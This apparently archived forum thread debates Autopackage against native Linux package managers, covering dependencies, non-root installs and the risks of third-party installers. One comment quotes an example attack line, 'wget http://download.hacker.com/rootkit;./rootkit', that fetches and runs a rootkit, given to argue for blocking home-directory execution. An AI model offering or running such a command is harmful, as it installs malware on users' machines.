The only thing I'd like to see in a package manager is to allow non-root users to install software (perhaps under $HOME ; perhaps under /usr/local if they're members of the group local).

It's absurd that you need to enter a root password to do something as simple as install a user-space program - and it's absurd that package mangers only support dependancy checking for stuff installed in the main system directories.

At work, the main directories (/usr, /bin, etc) can only be accessed by the IT guys; but every department has a directory ("/usr/department/engineering", for example) of that memebers of that group can install software in. We have a newer version of Perl in ours. It really sucks that package managers can't help deal with the dependancies in an environmennt like this.

Re:Please let non-root people install

[stefanlasiewski]

The only thing I'd like to see in a package manager is to allow non-root users to install software

Check out the Flash demo. They actually demonstrate that capability-- the application installs packages under $HOME/.local/lib $HOME/.local/share, etc. I dislike cluttering $HOME with $HOME/lib, $HOME/share, $HOME/man, etc. -- installing these pieces under a dot directory to keep them hidden & organized is a great idea.

But I am also curious about allowing groups to install software under /usr/local or /usr/department .

Re:Please let non-root people install

[hawk]

Err, are there really package systems that *don't* let you do this?

Under the FreeBSD ports system, you simply set $PREFIX to wherever you want things to happen. While this is probably not obvious to grandma, it would just come to a script to

1) add $HOME/.programs to the relevant paths
2) add the "mypackage" script to $HOME/.programs/bin which sets $PREFIX and passess the rest of the argments.

It's been a few years since I've used dpkg, but I'm pretty sure that it had similar options, and I always assumed that rpms could do something similar.

hawk

Re:Please let non-root people install

[delire]

again, see http://0install.net/ for a good solution to this. Quite brilliant.

It does not scale.

[JPriest]

The idea of storing all software on repositories does make dependencies easier to manage but could you imagine doing it that way in Windows? You have all the overhead of having to centrally locate ALL software on a mirror somewhere. Anytime you as a software developer want to release software, you have to try to get it pushed out to all the mirrors (which you have no control over) in order for people to access it. This idea is also not very friendly to closed source projects.

Mirror of the autopackage website

[FooBarWidget]

Mike setup a mirror of the autopackage website! It's here. The FAQ is also available on that mirror.

MIRROR IS HERE

[IamTheRealMike]

http://bylands.dur.ac.uk/~mh/autopackage.org/index .html

Re:MIRROR IS HERE

[sirReal.83.]

That's not a complete mirror :(

This is missing.

Re:nextgen already here: emerge

[ZephyrXero]

I'm a gentoo user as well, but I'm very excited by Autopackage. The whole reason many people use gentoo is b/c it is so easy to install software. The main problem with that system is that someone has to add it to the portage tree, and if it's not popular enough, it won't get in... with Autopackage you put the installation in the developers hands and you no longer have to rely on your distro to do it for you. I say use Portage/Apt/Whatever for your system/low-level programs and use autopackage for your higher level ones (Firefox, Gaim, GIMP, etc)...Autopackage could finally be the answer many Windows users have been waiting on to make the switch!

Re:nextgen already here: emerge

[bman08]

Portage doesn't work as well on Redhat or Debian systems as it does on Gentoo. The beautiful magic of Autopackage, as I understand it, is that one package works for all distributions. The theory is that devlopers will then only have to release one autopackage instead of making ebuilds, debs, rpms and whatever other packages the seventeen thousand faces of Linux are asking for these days.

mirrordot mirrors of article and images

[Nallep]

http://mirrordot.org/stories/16feae672a6b23e1a6bde ee65c18984b/index.html
http://mirrordot.org/stories/4b8dff883e128d08839c1 323793affab/index.html
http://mirrordot.org/stories/5f34bd546afaa065409b5 e4822a1ed01/index.html

Mirrordot of Flash

[vectorian798]

Flash Demo Screenshots

I have to say this is like a godsave for linux. Most layusers will want some easy installation like this instead of using something like Yum (even if it is a GUI front-end to yum like GYUM). This is one giant step towards a viable desktop linux - and I believe that it isn't a replacement for apt/yum/[INSERT YOUR FLAVOR HERE] but uses them under the hood.

Before everyone starts bashing it and says that apt or emerge or whatever they use is the way to go, seriously think about it - one click installation, from a FRIENDLY user-interface, and easy to manage system for installing and uninstalling programs. Now if this were part of the base install on many distributions and some sort of standard was established (seriously, we need standards) I can probably convince my scared-of-Linux-because-it-is-hardcore friends to actually try Linux out.

One Autopackage...

[dotslashdot]

One format to rule them all, One format to find them One format to bring them all and in the package bind them...

Re:Be like OSX

[MsGeek]

Here's how you fix dependencies in Debian:

#apt-get update
#apt-get dist-upgrade

Badabingbadabangbadaboom. It's done. Happy days are here again.

Re:Linux

[Doc Ruby]

Which platform had packages installable from the Net, with dependencies and versioning, by clicking a single GUI button, in 1990? Or typing "installer install package"? One of the reasons I prefer Debian to Windows is precisely because of the package method of SW distribution. The closest MS has come is its WindowsUpdate abominations.

Re:nextgen already here: emerge

[ArbitraryConstant]

Jesus Gentoo fanbois can be annoying. For some reason, unlike the users of every other distro, some Gentoo users think everyone would be happier with the decision they've made for themselves.

Some people like Gentoo, but some people have serious issues with it. emerge is a decent package manager, but it's attached to a distro that conservative users aren't going to touch. The more conservative distros have package managers that their users are already perfectly happy with, so it's unlikely to be used anywhere else.

testing, unstable, experimental and apt-get.org

[free2]

But what do you do if the software you need are not included with you distro?
I usually don't have this problem with Debian (especially with the huge testing and unstable distros), and even the Debian experimental repository is signed.

But if I did, I woud look for some known Debian maintener unofficial packages in apt-get.org .

Conflicts with existing package managers

[jesterzog]

I'm presently running Debian. I've briefly played with making my own .deb files so I'd be able to install some of my own things without necessarily completely losing track of everywhere they were scattered. With all of the extra meta files that need editing, the source packages versus binary packages, and everything else, though, the whole process of designing a .deb package looked a bit too structured and complicated for me to bother learning about... at least within the time I was prepared to spend.

If AutoPackage has a straightforward way to generate a simple package, such as from a tar.gz file, I might find it very helpful. What I'm wondering about, though, is how bad does it get when two package managers conflict? eg. Apt and AutoPackage might end up trying to control the same file, get mixed up between what manager is providing a particular dependency (particularly if Apt tries to grab a package that AutoPackage has already installed), or whatever else.

It also sounds a bit of extra work having two sets of commands to manage packages on one system, so ideally (in my world), I guess AutoPackage would wrap around Apt or whatever other manager, and invoke it when appropriate. Does AutoPackage just fight for control when there are conflicts, or does it integrate with other package managers nicely?

The server seems to be very slashdotted right now, so I can't do much reading up on it. Does this sort of conflict thing turn out to be much of a problem?

Re:Conflicts with existing package managers

[FooBarWidget]

Autopackage is meant to be an add-on that coexists with your native package manager. It's not meant to replace anything. And the conflicts you're talking about will only occur if you try to install the same deb and autopackage on purpose.
For post-1.0, native package manager integration is on our todo list.

Re:nextgen already here: emerge

[ZephyrXero]

That's fine for advanced users who can handle the command line but what about the remaining 97% of the world?

When it ties in with RPM, I'll take a look

[levell]

Until I can install an autopackage on my FC3 desktop and rpm (and therefore yum) can use it in dependency resolution and update it then I don't intend to use it.

This isn't meant to be a criticism, I realise that they plan to do this and it takes time, to do everything that everyone wants is a long process ;)

Re:When it ties in with RPM, I'll take a look

[tajmorton]

That's planned for >1.0 (Integration with Native Package Managers, e.g., rpm, yum, apt-get, etc).

BackPackage

[Doc Ruby]

The package frontends are getting better. But we desperately need better backend apps. The interpackage dependencies are getting more complex, and broken dependency references abound. And we need a structure that represents a further distinction than just source/binary: we need -dev structure, so packages that depend on the headers and config tools of other packages can find them automatically, without having to figure out their (distro-dependent) development package name. For that matter, a single, universal "lib-config" tool that spits back the versions, headers and filesys locations of any library installed by the package client, would really improve productivity and reliability.

The really big leap in backends would be a distributed repository. Instead of just a network of (unsync'ed) mirrors of a single monolithic repository, we need a mirrored or otherwise distributed directory of repositories, each with an overlapping fraction of the current repositories. That will accommodate the bandwidth and storage requirements for installing specific versions of packages, across the exploding Internet userbase, especially as the mirror:client ratio gets worse. Alternate repositories should be the rule, not just the exception.

Re:BackPackage

[IamTheRealMike]

The really big leap in backends would be a distributed repository.

I suspect you are thinking of something like Conary. However ... that said, a distributed and decentralised package management system is what autopackage is all about. Autopackages can resolve dependencies in a manner that does not require large monolithic databases: the packages themselves know where to go to find their dependencies if they're missing (and in future they'll be able to use yum, apt-get etc as well just in case).

Basically the apt-get type model doesn't work too well once you start having say >50 repositories all together, as co-ordinating the overlaps becomes too much of a nightmare. A much less tightly coupled system works better, which is what we have here.

I will not use it

[houghi]

I am a SUSE user and yet have to find a program that does not have an rpm I can use. If the writer does not make an rpm, with running checkinstall, I doubt he will be using autopackage.

Using this would mean I need to have TWO things to use. One being Yast, the other being autopackage. Next somebody else does the same thing in a slightely different way and soon I will have a packager for every program I own.

Also its use is slightly more complicated then just doing rpm -Uvh (or for me yast -i, or rightclick on in Konquror)

As an extra, on the install site is says to chmod +x the files. Why not have the binaries already as chmod+x downloadable and if not, why do you need to do it on the commandline when 'sh file.package' works just as well.

Another disadvatage is the fact that houghi@penne it needs some extra code:

houghi@penne : sh inkscape-0.41-2.x86.package

The installation of this software requires some additional support
code to be installed.

Connecting to autopackage.org[130.225.247.90]:80... connected.
HTTP request sent, awaiting response...

Mmm. I can not install, because the site is down.

Did a search on rpm.bone.net on inkscape and copied the link and did 'rpm -Uvh ftp://link

Now what do you think I will use in the future?

Re:nextgen already here: emerge

[ZephyrXero]

I'm pretty sure autoconf and autopackage are completely unrelated, so for you to judge autopackage based on your experience with autoconf is completely off base.

Re:Be like OSX

[GoldDog]

hahahahahaahhahahaha
hahaha
hahahahahahaha *gasp* HAAAAAAAAAHHAHAHa

Now Debian is my favourite distro by far but I'm never gonna pretend that the package system is solid. Having way to many times been in the position where some little thing breaks and dpkg and apt just choke totally (to the point where I can't install something because I some package is broken and I can't uninstall that package because the damned uninstall-script needs something installed first).

The long and short of it is No, that's not how you "fix" dependencies in Debian. A lot of editing obscure files, handrolling temp replacement packages and so much swearing I need to put a parental advisory sticker outside my appartment is.

The idea of packages is bad.

[jxdxbx]

For distributing user applications, at least.

There is no earthly reason why a GUI application should scatter files hither and yon across a hard drive, and why installing a program should require some package or installer or whatever.
I cannot believe the hassle that I have to go through to install software on my Linux box as opposed to my Mac.

An OS X application consists of one file--- really a bundle. It is a directory that acts like a single executable file. Everything it needs to run that is not part of the basic OS X setup is in that file.

You don't even need to install the application. You can just run it from its compressed disk image that is still sitting in your downloads directory, if you like. Or you can copy it to your hard drive wherever you like. When you tire of it, you delete it.

Now, "Linux" is not capable of doing this because no one runs just Linux. But there is no reason why, say, Gnome apps can't be distributed this way. If there are technical issues in the way, they need to be resolved. Because the OS X way is better that the Linux and the Windows methods, and ought to be copied.

(ps: I do know that Unix programs are often installed via packages in OS X, as well as software that for whatever reason needs to modify the OS. But these are very rare and approached warily by seasoned OS X users.)

Re:nextgen already here: emerge

[thk]

Seems to me that most users that have actually tried gentoo really like it. I've run small networks of workstations on redhat (2yrs), debian (2yrs), fedora (2yrs), have run a small cluster on the rocks distribution. I made all of these work. They all have their strong points. I've recently switched to gentoo (several months) and find it to be by far the best for experienced admins / technical users. It does seem to attract a lot of kids that want to impress their friends by using an advanced distro. However, the core developers have done thus far a superb job desiging gentoo and it is very stable and capable in the hands of an expert.

BTW, resorting to name calling really only betrays ignorance.

Ciao.

Where Can I...

[Cylix]

Where can I find the rpm? ;)

Re:That's right. apt-get works.

[IamTheRealMike]

Having applications (as opposed to libraries) installed outside of apt doesn't break anything as they aren't dependencies of things.

Re:It would be nice...

[DeepHurtn!]

It also claims to be able to keep track of dependencies regardless of how you installed the package: source, rpm, etc. That is also very nice. I hope this works well and catches on with projects -- I imagine it would make both developer's and user's lives easier.

Re:I don't know about this

[Master of Transhuman]

"To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING."

This is hardly the point of the project.

The point of the project is to eliminate problems for developers in packaging their software to be able to run across distros.

The fact that it makes it easier to relieve dependency hell is a bonus for those users who want packages not included in their distro.

Anybody who says EVERYTHING they'll ever need is included in their distro is just being a troll. Because it simply is not possible that ANY distro is "finished." And a lot of people don't want to wait months until something they want shows up in a repository.

If Windows did that, everybody would still be using DOS.

Finally, the notion that it is somehow "evil" to install software from the Net is just stupid. The Net exists to distribute information - and programs are part of that.

Practically everything I use on the Windows side of my machine was downloaded off some Web site or another - and I have several gigs of stuff on my Linux side to explore yet which also has the same origin.

And I have NEVER had a spyware/virus/trojan problem from such software. (Although I have had software that simply screwed up the machine due to stupid programming.)

Users get spyware and other crap from stupid, pointless little programs offered by commercial entities because the user acts like a kid in a candy store when offered something "free". If the users really knew what freeware was about and where to get anything they need, they would be less likely to do stupid stuff like downloading a calendar program loaded with spyware.

While it is true that CORPORATE users should be restricted from downloading any damn thing they see (unless it has a productivity purpose), home users certainly should not be.

Your solution smacks of the paternalism I hate about Windows. You want your distro to control your machine just as much as Gates wants to control Windows users.

Sorry - not acceptable.

Re:nextgen already here: emerge

[St. Arbirix]

Portage would never be ported (no pun intended) to *BSD, because we already have Ports.

Don't tell these people.

Re:I don't know about this

[imkonen]

" There is no software I need that is not included with my distro"

Sorry if this sounds insulting, but your attitude seems really narrow-minded and short sighted. The whole reason the computer is such an incredibly useful tool is that it is so flexible and extendable. YOU might manage to get everything you need out of the software included in your distro, but do you really expect the big distros to anticipate every single need of every single user? A lot of people who are not computer experts have specific application needs that the vast majority of users don't share. Should a good distro include a version of GAMESS just because I want to do a theoretical chemistry calculation? Or maybe the people who make distros should assume (correctly) that if I am one of the .0001% of computer users who would want to use that program, I should just go download it myself?

"This may sound elitist of me, but if you can't figure out how to do it now, you probably aren't capable of making that sort of decision."

Yes, you sound incredibly elitist, as if it is impossible to be smart and NOT a computer expert. There is a big difference between knowing enough about one's Linux distro to install a program and having enough common sense to find programs on the internet with minimal risk of installing malware. If I google search for software that simulates microwave spectra of asymmetric top molecules (and by the way there are quite a few) what are the odds I'm going to find spyware masking itself as what I'm looking for?

What about Java applications?

[roskakori]

I read the developer quickstart guide, and still can't figure out if this will help me with integrating a Java application.

Right now, I use an installer based on IzPack, which works but results in an application that must be started from a shell script and does not integrate in the desktop. In particular, the user can not just double click files that have been created with my application. Also annoing is the fact that the installer includes trivial libraries like log4j, which causes bloat. And worse, some libraries have to be downloaded manually, in my case JAI. I'd say my application is a horrible user experience under Linux.

However, the developer quick guide just keeps talking about about C compilers, GTK and other stuff I don't use or care about. Is there any point in taking a closer look at autopackage?

Re:What about Java applications?

[FooBarWidget]

Well, I tried packaging a Java app before but I gave up. It's just not possible to provide an easy installation experience, because of the Sun JVM, which is proprietary. I cannot auto-install the JVM because of the license, which prohibits distribution. You *may* be able to get away with this if you compile your app with GCJ but GCJ does not have a stable ABI...

Missing the point

[theantix]

"To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING."

This is hardly the point of the project.

Sadly, that is the point of the project. It's meant to aid the installation of packaged software from third party sources and manage dependancies in order to accomplish this. That is specifically my problem with it, it is a tool for enabling dangerous behaviour for unexperienced users.

Anybody who says EVERYTHING they'll ever need is included in their distro is just being a troll. Because it simply is not possible that ANY distro is "finished." And a lot of people don't want to wait months until something they want shows up in a repository.

I think you mistake the difference between "need" and "want". They are different, you know. So I will tell you that if you are using Mandrake, Fedora, Ubuntu, Gentoo, or any other popular distribution: there are no programs that an inexperienced user *needs* that do not come in their software repositories. Just because you are impatient and cannot wait a few months doesn't make your desire a neccessity, eh?

And I have NEVER had a spyware/virus/trojan problem from such software. (Although I have had software that simply screwed up the machine due to stupid programming.)

Shit, I didn't read that until now. I actually did think you were serious at first. Ah well, you got me.

Re:Missing the point

[Minna Kirai]

. It's meant to aid the installation of packaged software from third party sources and manage dependancies in order to accomplish this. That is specifically my problem with it, it is a tool for enabling dangerous behaviour for unexperienced users.

The factor blocking the deployment of "malware" to Linux isn't the intractability of Linux software installing, but the low population size of unskilled users, and the low explotiation value of that population (same as the largest reason there are few "viruses").

Do not imagine that if Linux had the popularity of Microsoft(tm) Windows(r), it would take the malware coders more than a week to get into business. All they need is to provide executable files to run, and end-users they can convince to download files and then double-click them (assuming that Linux web browsers continue to non-autoexecute downloaded binaries). Once they've run that one binary, it can either execute the malware immediately, or merely install it in the user's writable disk space (including ~/.login, as well as ~/.firefox and maybe elsewhere)

If a system administrator feels his users at risk of installing malware, she is well able to disallow execution of files in their homedirectories. This will prevent home-grown attacks (like "paste these 3 lines into a terminal: wget http://download.hacker.com/rootkit;./rootkit"), and also make autopackage impotent as a side-effect. (An admin with this attitude would also disallow users from running autopackage at all, of course)

Re:plenty of UI and Usability mistakes

[IamTheRealMike]

Yes we know the bouncing progress bars suck. I yelled at people about that a few days ago. Expect them to disappear as time goes on.

Dialogs same size - not sure there's any point to this. Dialogs that don't fit their content are just weird. Making them all the same window is technically very hard because of the need to run different programs to re-authenticate etc. Yes yes, excuses, but software is compromise.

No cancel button: where is the cancel button? You cannot cancel an install, so there should not be one. The closest I can see is Hide which is different.

Don't ask for passwords: you need the root password for software to be shared, and various things work better when software is installed system-wide. The "No password" button is there for setups where you are not the administrator rather than for home users. Long term authentication-less software installation should happen but it's a big step that neither MacOS X nor Windows have fully taken yet, it requires a lot of thought and technology to ensure it's done correctly.

Progress meters: yes, from a pure UI perspective you are correct. However it's hard to know how long things will take because the packager has complete freedom to do whatever they like. It's not deterministic, in other words. Again, compromise. Long term this whole UI will disappear in favour of drag/drop installs anyway so there's not much point in polishing it too much.

The uninstaller will prompt you for the root password once you hit "Remove". It's just not shown in the Flash demo.

Thanks for your comments!

I tried out an autopackage...

[agraupe]

and I was amazed by how well it worked! I think this could easily be the answer to the linux software installation problem. I am a gentoo user, and I like portage, but autopackage is a slick piece of software. Perhaps it could be used in conjunction with portage (i.e. remove the idea of "gentoo packages" for end-user-type-apps and make portage interface to autopackage). Either way, I think that a stable Autopackage definitely is a step forward for desktop linux.

Re:nextgen already here: emerge

[theLOUDroom]

That's fine for advanced users who can handle the command line but what about the remaining 97% of the world?

If you can't handle a command line you probably don't want to be running unverified, alpha software.

Pretty much anything your average joe is going to want IS in portage. The stuff that isn't is generally really specialized, or not quite there yet in terms of features and stability.

....of course one might wonder how you got Gentoo up and running in the first place since use must you the command line to even install it.

Re:A Flash demo?

[Anonymous Coward]

Actually, swf is an open format and the demo was made with vcn2swf, an open-source program.

How about autopackage at the source level?

[Storlek]

I'd like to see a GUI wrapper around ./configure && make && make install -- a window with checkboxes for all the different --enable and --with options, a button to change what directories the program is installed to, and a "build" button at the bottom. Do all the configuring in a hidden embedded terminal widget, and have a "details" button for people who really want to look at the stuff scrolling by. It could be written with PyGtk (or whatever else; maybe it could even detect KDE or Gnome and use the appropriate toolkit) so it'd run on any architecture, maybe even have extensions to call apt-get or rpm to automatically resolve dependencies for the major distributions.

This could even be done with a shell script wrapper around a tar.bz2 file (think shar, or the old StarOffice installer), so when it's double clicked in the file manager it would untar itself into a temporary directory and install.

Not as simple as that

[Orion Blastar]

get a few corrupted libraries and apt-get is useless. You then have to use the deb tool to remove the corrupt libraries and run apt-get again and hope it works. If not, you may have to reformat and try again.

I've had Debian distros do a meltdown on me doing that, and I followed every helpful guide on the Internet trying to fix it. The Autopackage technology seems like it has a fix for these dependancy problems and corrupt libraries.

Much as I hate to say it, Autopackage seems to add in Microsoft Windows like install and removal abilities to Linux. This is a good thing, because it makes Linux more of a desktop OS that the average person can use without learning how to be a Linux Admin. That makes Linux more popular and maybe more people will switch to it.

Who will this benefit the most?

[Lb73uaZj]

Autopackage may be useful in providing a relatively hassle free method of installing applications.
I've been using Linux for quite a while (since 1997) and I think there is room for improvement, I like what I have going and don't need to change.

In addition to my current debian based systems, I've used RPM based distros (come to think of it my file server is limping around on a busted Fedora Core 2 install -- and it still does everything I need it too). One day I'll play around with Gentoo, just to see what all the fuss is about.

In other words I don't think this system will be a great benefit to an experienced Linux user.

Linux noobs would benefit more from finding a distro, learn it break it fix it. Than some newfangled universal wonder, that could cause confusion as to where the problem may be. (is it the distro? is it the package? is it me, or something I've done... fear panic... Oh well, I'll just go back to windows.

Some developers will benefit. But I'd guess that most GPL'd and open source devlopers have already got their groove on.

HMM... PROPRIETARY... maybe. I'm sure all of hardware manufactures with their trade secrets would love to have a package system that keeps their stuff locked up in a tidy cell.

This could be good: the more stuff that comes to Linux, the more stuff we can play with.

This could be bad: this free software stuff came into existance because Richard Stallman (as the story goes) wanted to make a simple tweek to a printer; this could help to bring that wonderful creation back to where it all started.

I'm not into Linux for the free stuff I'm into it because I love feedom.

... is completely unclear

[Nailer]

The FAQ answers that question with:

What RPM is not good at is non-core packages, ie programs available from the net, from commercial vendors, magazine coverdisks and so on.

Why not? If you're going to spend a metric shitload of time creating a new packaging format and you want anyone to use it, some actual justification might help.

Personally, I'd add non DB backends, suggests/recommends, and non root installs to RPM, or add better file / signature verification, a DB backend, and non root installs to dpkg.

Re:... is completely unclear

[Nailer]

Actually, I'll bite on some of his later answers, where, unlike the one to the previous question. he does go through some specific issues he has 'with RPM/Dpkg':

"Other dependencies are not so simple, there is no file that reliably expresses the dependency, or the file could be in multiple locations"

Yes, that's what virtual dependencies / capabilities in both rpm and dpkg provide. As for files moving around, that's what the FHS is for. Got a

But in reality, you don't encounter this scenerio untill you install rpms/ debs on another distro. Big deal: binary packages will always be built against specific library versions. Autopackage doesn't solve that.

"because RPM is, at the end of the day, a tool to help distro makers, they sometimes add new macros and features to it and then use them in their specfiles. People want proper integration of course, so they use Mandrake specific macros "

That's a human problem. You can't fix it with technology. Taking away the ability to have custom macros is a bad thing. Encouraging proper behavior is a better thing.

"Bad interactions with source code: because the current versions of RPM don't check the system directly, they only check a database"

You don't mean bad interaction with source code. Installing from source works fine, provided you know how to make install you can easily reate an RPM of most autoconf apps in about 2 minutes.

You mean bad interaction with non-packaged software. Again, that's a human issue, but one that's been solved better and better over time. Both OSS projects and proprietary vendors including Adobe's, BEAs, Macromedia etc. all release properly packaged binaries.

And frankly, I like having a database. I want to be able to find out what package was responsible for installing a file, and a URL where I can get a new version of the software. I like having a checksum of all my files at install time, so I can see if they've changed later. All of which autopackage doesn't do.

I don't like anything that encourages people to install unsigned applications from the internet, which autopackage does.

"a dependency does not encode any information on where to find it"

Yes, Great they kept that shit out of the dependency isn't it? Because what provides that capability isn't determined by the software. My app needs a webserver. That could be thhtpd, Apache httpd, Roxen, or whatever else. Rather than specifying what package provides that dependency, they simply list the depency. Three of my available packages say they provide a webserver capability. When a new webserver comes out, it will say it provides that capability too. Without requiring a new package of the thing that wants a webserver. Brilliant stuff!

Re:I don't know about this

[idlake]

YOU might manage to get everything you need out of the software included in your distro, but do you really expect the big distros to anticipate every single need of every single user?

The way it works out in practice on Debian is that, for most people, once it's mature enough to be included in the distro, it's part of the distro. Until then, you probably want to install it from source anyway, which is an option you always have.

Should a good distro include a version of GAMESS just because I want to do a theoretical chemistry calculation?

Yes. More accurately, someone should become a binary package maintainer for each distribution. As part of that, that person has to assume responsibility for not breaking anything in the distro. Creating an "Autopackage" and pretending that that solves the integration problems "automatically" just isn't going to do the trick; you might as well only distribute the sources.

Autopackage is the wrong solution

[Nailer]

"Dropping to a terminal, cd pathtoapp, tar -jxvf whatever.tar.gz, cd newpath, ./configure; make; make install is too much shit for a user -- and then how to uninstall? Keep the source directory there forever? "

Agreed. But how is using 2 package sytems (as the autopackge author recommends) with a weird distinction between what's installed in your current distro and 'third paty' apps easier than:

1). Putting a link to 'Synaptic software installer'
2). Having them browse for their app or simply type its name.
3). Letting them click OK as the app and its dependencies are downloaded and installed for them

?

Re:Clarify a point for me please

[Nailer]

1:1.2

Easy Package Management

[marafa]

the makers of CUPS: the Common Unix Printing System has another product called EPM: Easy Package Management available at http://www.easysw.com/epm/.

EPM is a free UNIX software/file packaging program that generates distribution archives from a list of files.
EPM Can:

* Generate portable script-based distribution packages complete with installation and removal scripts and standard install/uninstall GUIs.
* Generate "native" distributions in AIX, BSD, Debian, HP-UX, IRIX, MacOS X, Red Hat, Slackware, Solaris, and Tru64 UNIX formats.
* Provide a complete, cross-platform software distribution solution for your applications.

____
to the guy marking my comments as -1: why?

Re:Interesting criticism of the OSX DMG

[argent]

The interface is correctly signed with the following keys:
- Valid signature from 92429807C9853C0744A68B9AAE07828059A53CC1
Do you want to trust all of these keys to sign interfaces?

Not unless you're prepared to ask me this question every time you download and run anything off the net.